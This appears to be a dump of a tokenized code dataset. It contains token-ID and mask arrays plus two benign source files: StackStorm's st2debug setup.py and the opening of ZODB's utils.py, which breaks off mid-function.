506,
2997,
12,
199,
3,
259,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
259,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
199,
3,
259,
1664,
4265,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
259,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
4265,
1696,
1684,
844,
199,
3,
259,
3180,
543,
642,
2240,
14,
221,
982,
440,
12,
1937,
665,
1014,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
4743,
199,
3,
199,
4605,
199,
199,
646,
900,
199,
199,
504,
5166,
14,
4795,
492,
9506,
12,
1504,
199,
504,
5166,
14,
2537,
14,
5275,
492,
485,
421,
199,
318,
664,
63,
7067,
8,
277,
12,
2467,
12,
1747,
12,
1067,
29,
403,
304,
272,
408,
268,
4155,
314,
7267,
769,
402,
445,
1119,
22142,
221,
1275,
268,
768,
635,
291,
26,
710,
909,
7849,
14,
268,
768,
635,
2467,
26,
437,
3050,
3920,
268,
768,
635,
1747,
26,
2870,
402,
314,
922,
5544,
10367,
315,
268,
768,
635,
1067,
26,
437,
4465,
2600,
268,
768,
1107,
520,
1767,
314,
769,
402,
9605,
272,
408,
2286,
9605,
63,
1113,
275,
291,
14,
2293,
14,
362,
360,
2048,
14,
7067,
358,
272,
5164,
63,
1113,
275,
291,
14,
2293,
14,
362,
360,
2048,
14,
9860,
14,
6242,
358,
339,
1335,
63,
1580,
275,
9605,
63,
1113,
14,
1733,
8,
1556,
12,
1747,
12,
4274,
7067,
63,
751,
18937,
17,
4360,
1067,
29,
1100,
9,
272,
1559,
63,
1580,
275,
5164,
63,
1113,
14,
1733,
8,
1556,
12,
1747,
12,
4274,
929,
297,
6291,
283,
1490,
659,
661,
751,
63,
344,
297,
6291,
1747,
395,
661,
7067,
63,
344,
297,
283,
262,
297,
1335,
63,
1580,
4360,
1067,
29,
1100,
9,
272,
522,
275,
5164,
63,
1113,
14,
739,
8,
1556,
12,
1747,
12,
1559,
63,
1580,
12,
788,
7067,
63,
344,
995,
1067,
29,
1100,
9,
272,
522,
275,
3842,
82,
459,
7067,
63,
344,
1105,
367,
519,
315,
522,
61,
272,
340,
440,
822,
8,
470,
9,
436,
1067,
26,
267,
746,
9506,
14,
2590,
63,
4795,
6723,
547,
15659,
4018,
5556,
886,
440,
1172,
1263,
1551,
286,
1119,
2274,
14,
2047,
1471,
1218,
282,
11628,
1083,
503,
1551,
282,
286,
1119,
2274,
12459,
272,
372,
522,
199,
199,
533,
2086,
63,
1977,
63,
3189,
8,
4795,
14,
4795,
63,
4844,
304,
272,
485,
354,
275,
283,
1712,
14,
1977,
14,
3189,
7,
272,
485,
1802,
275,
283,
6981,
20783,
23450,
1996,
7,
339,
347,
485,
362,
63,
23607,
63,
2558,
8,
277,
12,
2467,
12,
1747,
12,
1067,
29,
403,
304,
267,
408,
1467,
4155,
314,
7267,
769,
402,
5861,
335,
11571,
221,
7585,
14,
1467,
768,
635,
291,
26,
710,
909,
7849,
14,
1467,
768,
635,
2467,
26,
437,
3050,
3920,
1467,
768,
635,
1747,
26,
2870,
402,
314,
922,
5544,
10367,
315,
1467,
768,
635,
1067,
26,
437,
4465,
2600,
1467,
768,
1107,
520,
1767,
402,
3439,
402,
3336,
267,
408,
267,
3336,
63,
1113,
275,
291,
14,
2293,
14,
362,
360,
2558,
14,
2558,
358,
267,
2762,
275,
3336,
63,
1113,
14,
1733,
8,
1556,
12,
1747,
12,
4274,
23607,
63,
80,
3583,
297,
6291,
715,
4360,
1067,
29,
1100,
9,
267,
522,
275,
3336,
63,
1113,
14,
739,
8,
1556,
12,
1747,
12,
2762,
12,
788,
344,
297,
283,
354,
995,
1067,
29,
1100,
9,
267,
522,
275,
3842,
82,
459,
344,
995,
519,
459,
354,
1105,
367,
519,
315,
522,
61,
267,
522,
14,
3176,
8,
16,
12,
13134,
12381,
398,
372,
522,
339,
485,
3406,
275,
469,
267,
283,
354,
356,
1504,
14,
1560,
360,
16148,
297,
1568,
29,
708,
12,
1415,
29,
549,
395,
267,
283,
7067,
63,
344,
356,
1504,
14,
3479,
18,
368,
360,
2048,
14,
7067,
297,
283,
35,
1119,
11828,
297,
1415,
29,
549,
12,
2881,
628,
19412,
7067,
63,
344,
14,
466,
297,
6291,
283,
20084,
5440,
1288,
267,
283,
2558,
63,
344,
356,
1504,
14,
5592,
1547,
362,
63,
23607,
63,
2558,
12,
298,
6044,
401,
1415,
29,
549,
12,
1568,
4022,
17,
395,
267,
283,
4606,
356,
1504,
14,
1609,
360,
18785,
297,
7576,
2687,
975,
12,
499,
395,
1415,
29,
549,
395,
267,
283,
1121,
356,
1504,
14,
1560,
360,
2891,
297,
1568,
29,
708,
395,
267,
283,
1730,
63,
344,
7,
520,
1504,
14,
3479,
18,
368,
360,
1712,
14,
1730,
297,
283,
4434,
659,
267,
283,
751,
63,
344,
7,
520,
1504,
14,
3479,
18,
368,
360,
470,
14,
3707,
297,
283,
1899,
659,
272,
789,
339,
347,
485,
885,
63,
1730,
63,
344,
8,
277,
12,
2467,
12,
1747,
12,
1067,
29,
403,
304,
267,
372,
1067,
436,
1067,
14,
362,
360,
2682,
63,
344,
297,
756,
9,
503,
756,
339,
347,
485,
885,
63,
20084,
63,
2683,
8,
277,
12,
2467,
12,
1747,
12,
1067,
29,
403,
304,
398,
327,
646,
10543,
267,
327,
10511,
14,
409,
63,
3446,
342,
267,
340,
440,
1067,
26,
288,
1067,
275,
1052,
267,
754,
275,
1067,
14,
362,
360,
2682,
63,
344,
297,
756,
9,
503,
756,
398,
372,
754,
339,
485,
4322,
275,
469,
267,
17384,
1730,
63,
344,
7,
520,
485,
885,
63,
1730,
63,
344,
12,
267,
17384,
7067,
63,
344,
356,
485,
885,
63,
20084,
63,
2683,
12,
267,
17384,
2558,
63,
344,
356,
413,
12,
267,
283,
751,
63,
344,
7,
520,
2400,
1559,
12,
2467,
12,
1747,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
punalpatel/st2
|
st2debug/setup.py
|
10
|
1688
|
# -*- coding: utf-8 -*-
# Licensed to the StackStorm, Inc ('StackStorm') under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import os.path
from setuptools import setup, find_packages
from dist_utils import fetch_requirements
from dist_utils import apply_vagrant_workaround
from st2debug import __version__
ST2_COMPONENT = 'st2debug'
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
REQUIREMENTS_FILE = os.path.join(BASE_DIR, 'requirements.txt')
install_reqs, dep_links = fetch_requirements(REQUIREMENTS_FILE)
apply_vagrant_workaround()
setup(
name=ST2_COMPONENT,
version=__version__,
description='Utility for submitting debug information to StackStorm',
author='StackStorm',
author_email='info@stackstorm.com',
install_requires=install_reqs,
dependency_links=dep_links,
test_suite=ST2_COMPONENT,
zip_safe=False,
include_package_data=True,
packages=find_packages(exclude=['setuptools', 'tests']),
scripts=[
'bin/st2-submit-debug-info'
]
)
|
apache-2.0
|
[
3,
1882,
2803,
26,
2774,
13,
24,
1882,
199,
3,
3909,
370,
314,
13894,
933,
1025,
12,
3277,
661,
4851,
933,
1025,
358,
1334,
1373,
503,
1655,
199,
3,
11615,
4190,
14024,
14,
221,
1666,
314,
12840,
570,
1854,
543,
199,
3,
642,
1736,
367,
4722,
2556,
12602,
4248,
12715,
14,
199,
3,
710,
14857,
12378,
642,
570,
370,
2047,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
199,
3,
334,
1589,
298,
3761,
3547,
1265,
1443,
440,
675,
642,
570,
871,
315,
4151,
543,
199,
3,
314,
844,
14,
221,
2047,
1443,
3332,
282,
1331,
402,
314,
844,
737,
199,
3,
199,
3,
258,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
199,
3,
199,
3,
4158,
1415,
701,
3964,
4179,
503,
4193,
370,
315,
3575,
12,
2032,
199,
3,
1854,
1334,
314,
844,
365,
1854,
641,
376,
298,
1179,
2281,
2,
4207,
12,
199,
3,
2428,
2990,
1549,
4217,
1634,
1821,
3826,
12,
1902,
4056,
503,
2478,
14,
199,
3,
1666,
314,
844,
367,
314,
2488,
2637,
4210,
3443,
436,
199,
3,
4204,
1334,
314,
844,
14,
199,
199,
646,
747,
14,
515,
199,
199,
504,
9116,
492,
3272,
12,
2342,
63,
5154,
199,
199,
504,
2917,
63,
1208,
492,
5267,
63,
7538,
199,
504,
2917,
63,
1208,
492,
4838,
63,
86,
643,
17633,
63,
800,
11659,
199,
504,
410,
18,
1757,
492,
636,
1023,
363,
199,
199,
840,
18,
63,
20360,
275,
283,
270,
18,
1757,
7,
199,
5825,
63,
3022,
275,
747,
14,
515,
14,
3475,
8,
736,
14,
515,
14,
4832,
3460,
493,
8964,
199,
29168,
20967,
63,
3817,
275,
747,
14,
515,
14,
904,
8,
5825,
63,
3022,
12,
283,
7538,
14,
2424,
358,
199,
199,
3174,
63,
12720,
12,
2657,
63,
4614,
275,
5267,
63,
7538,
8,
29168,
20967,
63,
3817,
9,
199,
199,
4998,
63,
86,
643,
17633,
63,
800,
11659,
342,
199,
2758,
8,
272,
536,
29,
840,
18,
63,
20360,
12,
272,
1015,
18971,
1023,
3108,
272,
1369,
534,
17505,
367,
11482,
1337,
3105,
2556,
370,
13894,
933,
1025,
297,
272,
4132,
534,
4851,
933,
1025,
297,
272,
4132,
63,
2123,
534,
815,
32,
2340,
26949,
14,
957,
297,
272,
3907,
63,
6537,
29,
3174,
63,
12720,
12,
272,
5936,
63,
4614,
29,
2601,
63,
4614,
12,
272,
511,
63,
5768,
29,
840,
18,
63,
20360,
12,
272,
3482,
63,
3489,
29,
797,
12,
272,
2387,
63,
2491,
63,
576,
29,
549,
12,
272,
6117,
29,
1623,
63,
5154,
8,
5473,
2968,
13623,
297,
283,
2219,
3815,
272,
10554,
1524,
267,
283,
1393,
15,
270,
18,
13,
7275,
13,
1757,
13,
815,
7,
272,
1622,
199,
9,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
1882,
2803,
26,
2774,
13,
24,
1882,
199,
3,
3909,
370,
314,
13894,
933,
1025,
12,
3277,
661,
4851,
933,
1025,
358,
1334,
1373,
503,
1655,
199,
3,
11615,
4190,
14024,
14,
221,
1666,
314,
12840,
570,
1854,
543,
199,
3,
642,
1736,
367,
4722,
2556,
12602,
4248,
12715,
14,
199,
3,
710,
14857,
12378,
642,
570,
370,
2047,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
199,
3,
334,
1589,
298,
3761,
3547,
1265,
1443,
440,
675,
642,
570,
871,
315,
4151,
543,
199,
3,
314,
844,
14,
221,
2047,
1443,
3332,
282,
1331,
402,
314,
844,
737,
199,
3,
199,
3,
258,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
199,
3,
199,
3,
4158,
1415,
701,
3964,
4179,
503,
4193,
370,
315,
3575,
12,
2032,
199,
3,
1854,
1334,
314,
844,
365,
1854,
641,
376,
298,
1179,
2281,
2,
4207,
12,
199,
3,
2428,
2990,
1549,
4217,
1634,
1821,
3826,
12,
1902,
4056,
503,
2478,
14,
199,
3,
1666,
314,
844,
367,
314,
2488,
2637,
4210,
3443,
436,
199,
3,
4204,
1334,
314,
844,
14,
199,
199,
646,
747,
14,
515,
199,
199,
504,
9116,
492,
3272,
12,
2342,
63,
5154,
199,
199,
504,
2917,
63,
1208,
492,
5267,
63,
7538,
199,
504,
2917,
63,
1208,
492,
4838,
63,
86,
643,
17633,
63,
800,
11659,
199,
504,
410,
18,
1757,
492,
636,
1023,
363,
199,
199,
840,
18,
63,
20360,
275,
283,
270,
18,
1757,
7,
199,
5825,
63,
3022,
275,
747,
14,
515,
14,
3475,
8,
736,
14,
515,
14,
4832,
3460,
493,
8964,
199,
29168,
20967,
63,
3817,
275,
747,
14,
515,
14,
904,
8,
5825,
63,
3022,
12,
283,
7538,
14,
2424,
358,
199,
199,
3174,
63,
12720,
12,
2657,
63,
4614,
275,
5267,
63,
7538,
8,
29168,
20967,
63,
3817,
9,
199,
199,
4998,
63,
86,
643,
17633,
63,
800,
11659,
342,
199,
2758,
8,
272,
536,
29,
840,
18,
63,
20360,
12,
272,
1015,
18971,
1023,
3108,
272,
1369,
534,
17505,
367,
11482,
1337,
3105,
2556,
370,
13894,
933,
1025,
297,
272,
4132,
534,
4851,
933,
1025,
297,
272,
4132,
63,
2123,
534,
815,
32,
2340,
26949,
14,
957,
297,
272,
3907,
63,
6537,
29,
3174,
63,
12720,
12,
272,
5936,
63,
4614,
29,
2601,
63,
4614,
12,
272,
511,
63,
5768,
29,
840,
18,
63,
20360,
12,
272,
3482,
63,
3489,
29,
797,
12,
272,
2387,
63,
2491,
63,
576,
29,
549,
12,
272,
6117,
29,
1623,
63,
5154,
8,
5473,
2968,
13623,
297,
283,
2219,
3815,
272,
10554,
1524,
267,
283,
1393,
15,
270,
18,
13,
7275,
13,
1757,
13,
815,
7,
272,
1622,
199,
9,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
wunderlins/learning
|
python/zodb/lib/linux64/ZODB/utils.py
|
2
|
9565
|
##############################################################################
#
# Copyright (c) 2001, 2002 Zope Foundation and Contributors.
# All Rights Reserved.
#
# This software is subject to the provisions of the Zope Public License,
# Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution.
# THIS SOFTWARE IS PROVIDED "AS IS" AND ANY AND ALL EXPRESS OR IMPLIED
# WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS
# FOR A PARTICULAR PURPOSE
#
##############################################################################
import os
import struct
import sys
import time
import warnings
from binascii import hexlify, unhexlify
from struct import pack, unpack
from tempfile import mkstemp
from persistent.TimeStamp import TimeStamp
from ZODB._compat import Unpickler
from ZODB._compat import BytesIO
from ZODB._compat import ascii_bytes
__all__ = ['z64',
'p64',
'u64',
'U64',
'cp',
'newTid',
'oid_repr',
'serial_repr',
'tid_repr',
'positive_id',
'readable_tid_repr',
'DEPRECATED_ARGUMENT',
'deprecated37',
'deprecated38',
'get_pickle_metadata',
'locked',
]
# A unique marker to give as the default value for a deprecated argument.
# The method should then do a
#
# if that_arg is not DEPRECATED_ARGUMENT:
# complain
#
# dance.
DEPRECATED_ARGUMENT = object()
# Raise DeprecationWarning, noting that the deprecated thing will go
# away in ZODB 3.7. Point to the caller of our caller (i.e., at the
# code using the deprecated thing).
def deprecated37(msg):
warnings.warn("This will be removed in ZODB 3.7:\n%s" % msg,
DeprecationWarning, stacklevel=3)
# Raise DeprecationWarning, noting that the deprecated thing will go
# away in ZODB 3.8. Point to the caller of our caller (i.e., at the
# code using the deprecated thing).
def deprecated38(msg):
warnings.warn("This will be removed in ZODB 3.8:\n%s" % msg,
DeprecationWarning, stacklevel=3)
if sys.version_info[0] < 3:
def as_bytes(obj):
"Convert obj into bytes"
return str(obj)
def as_text(bytes):
"Convert bytes into string"
return bytes
# Convert an element of a bytes object into an int
byte_ord = ord
byte_chr = chr
else:
def as_bytes(obj):
if isinstance(obj, bytes):
# invoking str on a bytes object gives its repr()
return obj
return str(obj).encode("ascii")
def as_text(bytes):
return bytes.decode("ascii")
def byte_ord(byte):
return byte # elements of bytes are already ints
def byte_chr(int):
return bytes((int,))
z64 = b'\0' * 8
assert sys.hexversion >= 0x02030000
# The distinction between ints and longs is blurred in Python 2.2,
# so u64() are U64() really the same.
def p64(v):
"""Pack an integer or long into a 8-byte string"""
return pack(">Q", v)
def u64(v):
"""Unpack an 8-byte string into a 64-bit long integer."""
return unpack(">Q", v)[0]
U64 = u64
def cp(f1, f2, length=None):
"""Copy all data from one file to another.
It copies the data from the current position of the input file (f1)
appending it to the current position of the output file (f2).
It copies at most 'length' bytes. If 'length' isn't given, it copies
until the end of the input file.
"""
read = f1.read
write = f2.write
n = 8192
if length is None:
old_pos = f1.tell()
f1.seek(0,2)
length = f1.tell()
f1.seek(old_pos)
while length > 0:
if n > length:
n = length
data = read(n)
if not data:
break
write(data)
length -= len(data)
def newTid(old):
t = time.time()
